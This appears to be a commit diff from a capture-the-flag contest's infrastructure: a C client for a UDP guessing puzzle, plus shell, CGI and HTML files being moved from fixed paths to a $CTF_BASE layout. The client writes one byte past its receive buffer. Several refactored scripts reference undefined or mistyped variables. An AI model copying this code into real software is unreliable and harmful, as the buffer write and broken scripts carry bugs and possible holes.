int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
evil(argc, argv);
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

View File

@ -1,3 +1,3 @@
#! /bin/sh #! /bin/sh
exec /opt/fizzbuzz/bin/fizzbuzz 3</opt/fizzbuzz/token.enc exec $CTF_BASE/packages/fizzbuzz/bin/fizzbuzz 3<$CTF_BASE/packages/fizzbuzz/token.enc

View File

@ -2,6 +2,6 @@
exec 2>&1 exec 2>&1
ln -sf /var/www default cd $PACKAGES/www
exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d.

View File

@ -31,4 +31,4 @@ cat <<EOD >ngircd.conf
Password = $operpass Password = $operpass
EOD EOD
exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon

View File

@ -14,19 +14,21 @@ escape () {
# Don't overwrite files # Don't overwrite files
set -C set -C
base=${CTF_BASE:-/var/lib/ctf} STATE=$CTF_BASE/state
www=${CTF_BASE:-/var/www} WWW=$CTF_BASE/www
mkdir -p $base/teams/names mkdir -p $STATE/teams/names
mkdir -p $base/teams/colors mkdir -p $STATE/teams/colors
[ -f $base/teams/salt ] || dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $base/teams/salt if ! [ -f $STATE/teams/salt ]; then
salt=$(cat $base/teams/salt) dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8 > $STATE/teams/salt
fi
salt=$(cat $STATE/teams/salt)
# Assign a color. I spent weeks selecting a color pallette that # Assign a color. I spent weeks selecting a color pallette that
# wouldn't be hell on people with protanopia. Please don't change these # wouldn't be hell on people with protanopia. Please don't change these
# colors. # colors.
nteams=$(ls $base/teams/names/ | wc -l) nteams=$(ls $STATE/teams/names/ | wc -l)
case $(expr $nteams % 10) in case $(expr $nteams % 10) in
0) color=a6cee3;; 0) color=a6cee3;;
1) color=1f78b4;; 1) color=1f78b4;;
@ -50,7 +52,7 @@ esac
# me since all team hashes are in the set /[0-9a-f]{8}/. # me since all team hashes are in the set /[0-9a-f]{8}/.
hash=$(printf "%s:%s" $salt "$1" | md5sum | cut -b 1-8) hash=$(printf "%s:%s" $salt "$1" | md5sum | cut -b 1-8)
echo "$1" > $base/teams/names/$hash echo "$1" > $STATE/teams/names/$hash
echo "$color" > $base/teams/colors/$hash echo "$color" > $STATE/teams/colors/$hash
echo "Registered with hash: $hash" echo "Registered with hash: $hash"

View File

@ -14,16 +14,14 @@ sv d pointsd
sv d puzzled sv d puzzled
sv d tanksd sv d tanksd
rm -f /var/lib/ctf/tokens.db rm -f $CTF_BASE/state/tokens.db
rm -f /var/lib/ctf/points.log rm -f $CTF_BASE/state/points.log
rm -f /var/www/scoreboard.html rm -f $CTF_BASE/www/scoreboard.html
rm -f /var/lib/ctf/puzzles.db rm -f $CTF_BASE/state/puzzles.db
rm -rf /var/lib/ctf/points.new rm -rf $CTF_BASE/state/points.new
rm -rf /var/lib/ctf/points.tmp rm -rf $CTF_BASE/state/points.tmp
rm -rf /var/lib/ctf/tanks rm -rf $CTF_BASE/state/tanks
rm -rf /var/lib/ctf/teams rm -rf $CTF_BASE/state/teams
backup-pass
sv u tokend sv u tokend
sv u pointsd sv u pointsd

View File

@ -3,13 +3,15 @@
# First argument is seconds between running everything # First argument is seconds between running everything
period=${1:-60} period=${1:-60}
BIN=${CTF_BASE:-/opt/mcp}/bin packages=$CTF_BASE/packages
WWW=${CTF_BASE:-/var}/www state=$CTF_BASE/state
STATE=${CTF_BASE:-/var/lib/ctf} www=$CTF_BASE/www
NEWPOINTS=$STATE/points.new BIN=$packages/mcp/bin
POINTS=$STATE/points.log
SCOREBOARD=$WWW/scoreboard.html NEWPOINTS=$state/points.new
POINTS=$state/points.log
SCOREBOARD=$www/scoreboard.html
if ! [ -f $SCOREBOARD ]; then if ! [ -f $SCOREBOARD ]; then
$BIN/scoreboard < $POINTS > $SCOREBOARD $BIN/scoreboard < $POINTS > $SCOREBOARD

View File

@ -65,9 +65,6 @@ function output( t, c) {
BEGIN { BEGIN {
base = ENVIRON["CTF_BASE"] base = ENVIRON["CTF_BASE"]
if (! base) {
base = "/var/lib/ctf"
}
# Only display two decimal places # Only display two decimal places
CONVFMT = "%.2f" CONVFMT = "%.2f"
@ -108,13 +105,13 @@ END {
for (team in teams) { for (team in teams) {
# Busybox awk segfaults if you try to close a file that didn't # Busybox awk segfaults if you try to close a file that didn't
# exist. We work around it by calling cat. # exist. We work around it by calling cat.
cmd = sprintf("cat %s/teams/colors/%s", base, team) cmd = sprintf("cat %s/state/teams/colors/%s", base, team)
color = "444444"; color = "444444";
cmd | getline color cmd | getline color
colors_by_team[team] = color colors_by_team[team] = color
close(cmd) close(cmd)
cmd = sprintf("cat %s/teams/names/%s", base, team) cmd = sprintf("cat %s/state/teams/names/%s", base, team)
name = "Phantoms" name = "Phantoms"
cmd | getline name cmd | getline name
names_by_team[team] = name names_by_team[team] = name

View File

@ -1,38 +0,0 @@
#! /bin/sh
cd ${CTF_BASE:-/var/lib/ctf}/teams/names
escape () {
sed 's/&/\&amp;/g;s/</\&lt;/g;s/>/\&gt;/g'
}
title='Teams'
cat <<EOF
<!DOCTYPE html>
<html>
<head>
<title>$title</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>$title</h1>
EOF
echo "<table>"
echo "<tr><th>Team</th><th>ID</th></tr>"
for i in *; do
echo "<tr><td>"
escape < $i
echo "</td><td><samp>$i</samp></td></tr>"
done
echo "</table>"
cat <<EOF
<p>
Team names are only used on this page and the scoreboard.
Use your team ID to claim points.
</p>
</body>
</html>
EOF

View File

@ -7,16 +7,15 @@ IP=$(dbip -a)
hostname mcp hostname mcp
# Link in puzzles and web pages # Link in puzzles and web pages
install -d /var/www for d in /packages/*; do
for d in /opt/*; do w=$CTF_BASE/www/$(basename $d)
w=/var/www/$(basename $d)
if [ -d $d/puzzles ] && ! [ -d $w ]; then if [ -d $d/puzzles ] && ! [ -d $w ]; then
ln -sf $d/puzzles $w ln -sf $d/puzzles $w
fi fi
if [ -d $d/www ]; then if [ -d $d/www ]; then
ln -sf $d/www/* /var/www/ ln -sf $d/www/* $CTF_BASE/www/
fi fi
done done
cd /var/www cd /var/www
exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c. exec tcpsvd -u ctf ${IP%/*} 80 $CTF_BASE/packages/mcp/bin/eris -c.

View File

@ -16,13 +16,13 @@ Content-type: text/html
<h1>Team Registration</h1> <h1>Team Registration</h1>
EOF EOF
if [ ! -w /var/www ] || [ ! -w /var/lib/ctf/teams ]; then if [ ! -w $CTF_BASE/www ] || [ ! -w $CTF_BASE/state/teams ]; then
echo "<p>It looks like the server isn't set up for self-registrations." echo "<p>It looks like the server isn't set up for self-registrations."
echo "Go talk to someone at the head table to register your team.</p>" echo "Go talk to someone at the head table to register your team.</p>"
else else
echo "<p>Team name: $team</p>" echo "<p>Team name: $team</p>"
echo -n "<pre>" echo -n "<pre>"
if /opt/mcp/bin/addteam "$team"; then if $CTF_BASE/mcp/bin/addteam "$team"; then
echo "</pre><p>Write this hash down. You will use it to claim points.</p>" echo "</pre><p>Write this hash down. You will use it to claim points.</p>"
else else
echo "Oops, something broke. Better call Neale.</pre>" echo "Oops, something broke. Better call Neale.</pre>"

View File

@ -4,4 +4,4 @@ exec 2>&1
IP=$(dbip -a) IP=$(dbip -a)
exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 </opt/multicaster/tokens.txt exec setuidgid ctf $CTF_BASE/packages/multicaster/bin/multicaster ff15::62c 1580 <$CTF_BASE/packages/multicaster/tokens.txt

View File

@ -6,4 +6,4 @@ IP=$(dbip -a)
grep -q ipv4 /proc/cmdline && IP=::ffff:$IP grep -q ipv4 /proc/cmdline && IP=::ffff:$IP
exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt exec $CTF_BASE/packages/octopus/bin/octopus ${IP%/*} < $CTF_BASE/packages/octopus/tokens.txt

View File

@ -1,7 +1,6 @@
#! /bin/sh #! /bin/sh
: ${CTF_BASE:=/var/lib/ctf} BASE=$CTF_BASE/state/teams
BASE=$CTF_BASE/teams
esc () { esc () {
printf '%s' "$*" | sed 's/[^-0-9A-Za-z ]/_/g; s/ /+/g' printf '%s' "$*" | sed 's/[^-0-9A-Za-z ]/_/g; s/ /+/g'
@ -105,7 +104,7 @@ EOD
;; ;;
esac esac
match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' /opt/*/answers.txt) match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' $CTF_BASE/packages/*/answers.txt)
if [ -z "$match" ]; then if [ -z "$match" ]; then
echo 'That is not a correct answer. Type "help" for help.' echo 'That is not a correct answer. Type "help" for help.'
continue continue
@ -116,7 +115,7 @@ EOD
fn=$BASE/$hash/$cat.$points fn=$BASE/$hash/$cat.$points
if log $hash | grep -Fxq "$cat $points"; then if log $hash | grep -Fxq "$cat $points"; then
echo "You've already received points for this answer." echo "You've already received points for this answer."
elif /opt/p2/bin/pointscli $hash $cat $points p2console; then elif $CTF_BASE/packages/p2/bin/pointscli $hash $cat $points p2console; then
echo "You get $points more points in the $cat category." echo "You get $points more points in the $cat category."
else else
echo "Error recording points. Tell the officials!" echo "Error recording points. Tell the officials!"

View File

@ -6,17 +6,26 @@ IP=$(dbip -p ../p2console/ip.txt)
ip route add default via 10.0.0.1 ip route add default via 10.0.0.1
if [ -z "$CTF_BASE" ] && ! grep -q " /www " /proc/mounts; then
mount -t tmpfs www /www
fi
# Link in puzzles and web pages # Link in puzzles and web pages
install -d /var/www for d in $CTF_BASE/packages/*; do
for d in /opt/*; do w=$CTF_BASE/www/$(basename $d)
w=/var/www/$(basename $d)
if [ -d $d/puzzles ] && ! [ -d $w ]; then if [ -d $d/puzzles ] && ! [ -d $w ]; then
ln -sf $d/puzzles $w ln -sf $d/puzzles $w
fi fi
if [ -d $d/www ]; then if [ -d $d/www ]; then
ln -sf $d/www/* /var/www/ ln -sf $d/www/* $CTF_BASE/www/
fi fi
done done
cd /var/www # news.html is persistent
exec tcpsvd -u nobody ${IP%/*} 80 /opt/p2/bin/eris -c. if ! [ -f $CTF_BASE/state/news.html ]; then
cat $CTF_BASE/packages/p2/www/news.html > $CTF_BASE/state/news.html
fi
ln -sf $CTF_BASE/state/news.html $CTF_BASE/www
cd $CTF_BASE/www
exec tcpsvd -u nobody ${IP%/*} 80 $CTF_BASE/packages/p2/bin/eris -c.

View File

@ -1,51 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>The Credits</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>Credits</h1>
<p>Dirtbags Capture the Flag is brought to you by:</p>
<ul>
<li>The number C</li>
<li>The letters ع and ֆ</li>
</ul>
<p>And by:</p>
<ul>
<li>Alex Brugh</li>
<li>Paul Ferrell</li>
<li>Jeremy Scott</li>
<li>Danny Quist</li>
<li>Adam Glasgall</li>
<li>Curtis Hash</li>
<li>Aaron McPhall</li>
<li>Patrick Avery</li>
<li>Erin Ochoa</li>
<li>William Phillips</li>
<li>Should your name be here? Please remind me!</li>
</ul>
<p>Parts of this contest were inspired by:</p>
<ul>
<li>DC949</li>
<li>Tube Warriors</li>
<li>Bad people from around the world (screw you guys, seriously)</li>
</ul>
<p>Lastly, this contest would not exist were it not for hundreds of
thousands of lines of code from free software authors around the
world, including:</p>
<ul>
<li>Busybox and Buildroot</li>
<li>the Linux kernel</li>
<li>dnsmasq</li>
<li>fnord httpd</li>
<li>ngircd</li>
<li>lua</li>
</ul>
</body>
</html>

View File

@ -15,6 +15,9 @@
<li> <li>
<a href="puzzles.html">Puzzles</a> <a href="puzzles.html">Puzzles</a>
</li> </li>
<li>
<a href="news.html">News</a> -- updated when things go wrong.
</li>
<li> <li>
<a href="scoring.html">About scoring</a> <a href="scoring.html">About scoring</a>
</li> </li>
@ -33,10 +36,5 @@
When you have solved a puzzle, enter the answer at the console When you have solved a puzzle, enter the answer at the console
to change your ranking on the <a href="scoreboard.html">scoreboard</a>. to change your ranking on the <a href="scoreboard.html">scoreboard</a>.
</p> </p>
<p>
This event would not be possible without the help of many people.
<a href="credits.html">Thank you, people</a>.
</p>
</body> </body>
</html> </html>

17
packages/p2/www/news.html Normal file
View File

@ -0,0 +1,17 @@
<!DOCTYPE html>
<html>
<head>
<title>News</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>News</h1>
<p>Usually updated when something goes wrong.</p>
<ul>
<!-- Add new items at the top -->
<li>Event begins</li>
</ul>
</body>
</html>

View File

@ -10,7 +10,7 @@ if ! sv s tty1 | grep down; then
fi fi
# Cool font # Cool font
setfont -C /dev/tty1 /opt/p2client/lite-16.fnt setfont -C /dev/tty1 $CTF_BASE/packages/p2client/lite-16.fnt
if ! grep -q debug /proc/cmdline; then if ! grep -q debug /proc/cmdline; then
@ -25,7 +25,7 @@ if ! grep -q debug /proc/cmdline; then
setterm -blank 0 -powersave off -powerdown 0 setterm -blank 0 -powersave off -powerdown 0
# Make this like a VT52; including disabling ctrl-alt-del # Make this like a VT52; including disabling ctrl-alt-del
loadkmap < /opt/p2client/dumbterm.kmap loadkmap < $CTF_BASE/packages/p2client/dumbterm.kmap
# Disable console logging # Disable console logging
echo 1 4 1 4 > /proc/sys/kernel/printk echo 1 4 1 4 > /proc/sys/kernel/printk

View File

@ -5,5 +5,5 @@ exec 2>&1
IP=$(dbip -a) IP=$(dbip -a)
ip addr add $IP dev eth0 || true ip addr add $IP dev eth0 || true
exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair exec tcpsvd -u nobody ${IP%/*} 1013 $CTF_BASE/packages/playfair/bin/playfair

View File

@ -1,3 +1,3 @@
#! /bin/sh #! /bin/sh
exec chpst -u 9001 -/ /opt/printf/bin ./printf 3</opt/printf/tokens.txt exec chpst -u 9001 -/ $CTF_BASE/packages/printf/bin ./printf 3<$CTF_BASE/packages/printf/tokens.txt

View File

@ -1,3 +1,3 @@
#! /bin/sh #! /bin/sh
exec /opt/revwords/bin/revwords 3</opt/revwords/tokens.txt exec $CTF_BASE/packages/revwords/bin/revwords 3<$CTF_BASE/packages/revwords/tokens.txt

View File

@ -1,16 +1,16 @@
#! /bin/sh #! /bin/sh
base=${CTF_BASE:-/var/lib/ctf} STATE=$CTF_BASE/state
echo -n "Team password: " echo -n "Team hash: "
read -r teamhash read -r teamhash
if ! KEY='Too much cheese.' arc4 < $base/teams.txt | grep -q -F -e "$teamhash"; then if ! [ -f $STATE/teams/names/"$teamhash" ]; then
echo 'No such team.' echo 'No such team.'
exit exit
fi fi
cd $base/rlyeh cd $STATE/rlyeh
if [ -f $teamhash ]; then if [ -f $teamhash ]; then
now=$(date +%s) now=$(date +%s)
@ -35,7 +35,7 @@ read level < $teamhash
echo echo
if setuidgid nobody rlyeh $level; then if setuidgid nobody rlyeh $level; then
arc4 /opt/rlyeh/tokens/rlyeh/enc.key < $base/tokens/rlyeh arc4 $CTF_BASE/packages/rlyeh/tokens/rlyeh/enc.key < $$CTF_BASE/state/rlyeh/tokens.txt
echo echo
expr $level + 1 > $teamhash expr $level + 1 > $teamhash
else else

View File

@ -2,4 +2,4 @@
exec 2>&1 exec 2>&1
exec /opt/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid exec $CTF_BASE/packages/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid

View File

@ -12,7 +12,7 @@ log () {
echo "router: $@" > /dev/console echo "router: $@" > /dev/console
} }
if [ $(mount | grep -c /opt/) -gt 1 ]; then if [ $(mount | grep -c /packages/) -gt 1 ]; then
log "cannot run alongside other packages" > /dev/console log "cannot run alongside other packages" > /dev/console
exit 1 exit 1
fi fi

View File

@ -1,4 +1,4 @@
#! /bin/sh #! /bin/sh
BASE_PATH=/var/lib/ctf/tanks/players/; export BASE_PATH BASE_PATH=$CTF_BASE/state/tanks/players/; export BASE_PATH
exec /opt/tanks/bin/designer.cgi exec $CTF_BASE/packages/tanks/bin/designer.cgi

View File

@ -0,0 +1,30 @@
<!DOCTYPE html>
<html>
<head>
<title>Tanks</title>
<meta http-equiv="refresh" content="60">
<link rel="stylesheet" href="style.css" type="text/css">
<style type="text/css">
html {
height: 99.5%;
}
body {
height: 100%;
width: 100%;
padding: 0;
margin: 0;
max-width: inherit;
}
iframe {
padding: 0;
margin: 0;
width: 100%;
height: 100%;
border: none;
}
</style>
</head>
<body>
<iframe src="current.html">
</body>
</html>

View File

@ -2,13 +2,14 @@
exec 2>&1 exec 2>&1
mkdir -p /var/www/tanks mkdir -p $CTF_BASE/state/tanks/players
ln -s /opt/tanks/html/* /var/www/tanks/ || true mkdir -p $CTF_BASE/state/tanks/www
ln -s summary.html /var/www/tanks/index.html || true chown ctf $CTF_BASE/state/tanks
chown ctf $CTF_BASE/state/tanks/players
mkdir -p /var/lib/ctf/tanks/players ln -s $CTF_BASE/state/tanks/www $CTF_BASE/www/tanks
chown ctf /var/lib/ctf/tanks ln -s $CTF_BASE/packages/tanks/html/* $CTF_BASE/state/tanks/www/ || true
chown ctf /var/lib/ctf/tanks/players ln -s summary.html $CTF_BASE/tanks/www/index.html || true
PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH PATH=/bin:$CTF_BASE/packages/tanks/bin; export PATH
exec ./tanksd exec ./tanksd

View File

@ -1,9 +1,15 @@
#! /bin/sh #! /bin/sh
d=/var/lib/ctf/tanks PACKAGES=$CTF_BASE/packages
p=$d/players STATE=$CTF_BASE/state
w=/var/www/tanks WWW=$CTF_BASE/www
log=$d/winners.log
TSTATE=$STATE/tanks
TPLAYERS=$TSTATE/players
TLOG=$TSTATE/winners.log
TWWW=$TSTATE/www
[ "$1" = "--once" ] && once=1
summary () { summary () {
cat <<EOF cat <<EOF
@ -21,7 +27,7 @@ summary () {
<ul> <ul>
EOF EOF
printed=0 printed=0
find $w -name "round-*.html" | sort -r | while read fn; do find $TWWW -name "round-*.html" | sort -r | while read fn; do
b=$(basename $fn) b=$(basename $fn)
if [ $printed -lt 20 ]; then if [ $printed -lt 20 ]; then
echo "<li><a href=\"$b\">$b</a></li>" echo "<li><a href=\"$b\">$b</a></li>"
@ -33,7 +39,7 @@ EOF
cat <<EOF cat <<EOF
</ul> </ul>
EOF EOF
cat /opt/tanks/html/nav.html.inc cat $packages/tanks/html/nav.html.inc
cat <<EOF cat <<EOF
</body> </body>
</html> </html>
@ -41,7 +47,7 @@ EOF
} }
while true; do while true; do
find /var/lib/ctf/teams/names -type f | while read dn; do find $STATE/teams/names -type f | while read dn; do
hash=${dn##*/} hash=${dn##*/}
install -o ctf -d $p/$hash install -o ctf -d $p/$hash
done done
@ -54,14 +60,14 @@ while true; do
# Round number? # Round number?
if [ -f $d/next-round ]; then if [ -f $TSTATE/next-round ]; then
next=$(cat $d/next-round) next=$(cat $TSTATE/next-round)
else else
next=0 next=0
fi fi
expr $next + 1 > $d/next-round expr $next + 1 > $TSTATE/next-round
fn=$(printf "%s/round-%04d.html" $w $next) fn=$(printf "%s/round-%04d.html" $TWWW $next)
rfn=$(printf "/tmp/tanks-results-%04d.txt" $next) rfn=$(printf "/tmp/tanks-results-%04d.txt" $next)
tfn=$(printf "/tmp/tanks-token-%04d.txt" $next) tfn=$(printf "/tmp/tanks-token-%04d.txt" $next)
@ -79,7 +85,7 @@ while true; do
start("battlefield", start("battlefield",
// Start JSON data // Start JSON data
EOF EOF
/opt/tanks/bin/forftanks $p/* >>$fn 3>$rfn $PACKAGES/tanks/bin/forftanks $p/* >>$fn 3>$rfn
cat <<EOF >>$fn cat <<EOF >>$fn
// end JSON data // end JSON data
); );
@ -92,27 +98,29 @@ window.onload = go;
<div id="game_box"><canvas id="battlefield"></canvas></div> <div id="game_box"><canvas id="battlefield"></canvas></div>
<p><span id="fps">0</span> fps</p> <p><span id="fps">0</span> fps</p>
EOF EOF
awk -f /opt/tanks/bin/rank.awk $rfn >>$fn awk -f $PACKAGES/tanks/bin/rank.awk $rfn >>$fn
cat /opt/tanks/html/nav.html.inc >>$fn cat $PACKAGES/tanks/html/nav.html.inc >>$fn
cat <<EOF >>$fn cat <<EOF >>$fn
</body> </body>
</html> </html>
EOF EOF
awk -f /opt/tanks/bin/winner.awk $rfn | while read winner; do awk -f $PACKAGES/tanks/bin/winner.awk $rfn | while read winner; do
hash=$(basename $winner) hash=$(basename $winner)
echo "Round $next winner: $hash" >> $log echo "Round $next winner: $hash" >> $log
nwinners=$(wc -l $log) nwinners=$(wc -l $log)
/opt/mcp/bin/pointscli $hash tanks 1 "tanks round $next" $PACKAGES/mcp/bin/pointscli $hash tanks 1 "tanks round $next"
done done
ln -sf $fn $w/current.html ln -sf $fn $TWWW/current.html
summary > $w/summary.html.$$ summary > $TWWW/summary.html.$$
mv -f $w/summary.html.$$ $w/summary.html mv -f $TWWW/summary.html.$$ $TWWW/summary.html
rm -f $tfn $rfn rm -f $tfn $rfn
[ -n "$once" ] && break
sleep 60 sleep 60
done done